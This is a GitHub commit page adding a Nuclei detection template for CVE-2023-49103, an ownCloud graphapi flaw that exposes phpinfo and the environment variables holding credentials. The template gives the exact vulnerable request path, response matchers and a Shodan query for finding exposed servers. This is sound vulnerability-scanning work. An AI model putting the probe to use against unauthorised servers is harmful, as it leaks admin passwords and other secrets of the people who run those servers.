-
Notifications
You must be signed in to change notification settings - Fork 2.5k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #8684 from projectdiscovery/CVE-2023-49103
Create CVE-2023-49103.yaml
- Loading branch information
Showing
1 changed file
with
38 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,38 @@ | ||
id: CVE-2023-49103 | ||
|
||
info: | ||
name: OwnCloud - Phpinfo Configuration | ||
author: ritikchaddha | ||
severity: high | ||
description: | | ||
An issue was discovered in ownCloud owncloud/graphapi 0.2.x before 0.2.1 and 0.3.x before 0.3.1. The graphapi app relies on a third-party GetPhpInfo.php library that provides a URL. When this URL is accessed, it reveals the configuration details of the PHP environment (phpinfo). This information includes all the environment variables of the webserver. In containerized deployments, these environment variables may include sensitive data such as the ownCloud admin password, mail server credentials, and license key. Simply disabling the graphapi app does not eliminate the vulnerability. Additionally, phpinfo exposes various other potentially sensitive configuration details that could be exploited by an attacker to gather information about the system. | ||
reference: | ||
- https://github.com/creacitysec/CVE-2023-49103/blob/main/exploit.py | ||
- https://nvd.nist.gov/vuln/detail/CVE-2023-49103 | ||
classification: | ||
cve-id: CVE-2023-49103 | ||
cwe-id: CWE-200 | ||
metadata: | ||
max-request: 1 | ||
verified: true | ||
shodan-query: title:"owncloud" | ||
tags: cve,cve2023,owncloud,phpinfo,config | ||
|
||
http: | ||
- method: GET | ||
path: | ||
- "{{BaseURL}}/owncloud/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php" | ||
|
||
matchers-condition: and | ||
matchers: | ||
- type: word | ||
part: body | ||
words: | ||
- "PHP Extension" | ||
- "PHP Version" | ||
- "owncloud" | ||
condition: and | ||
|
||
- type: status | ||
status: | ||
- 200 |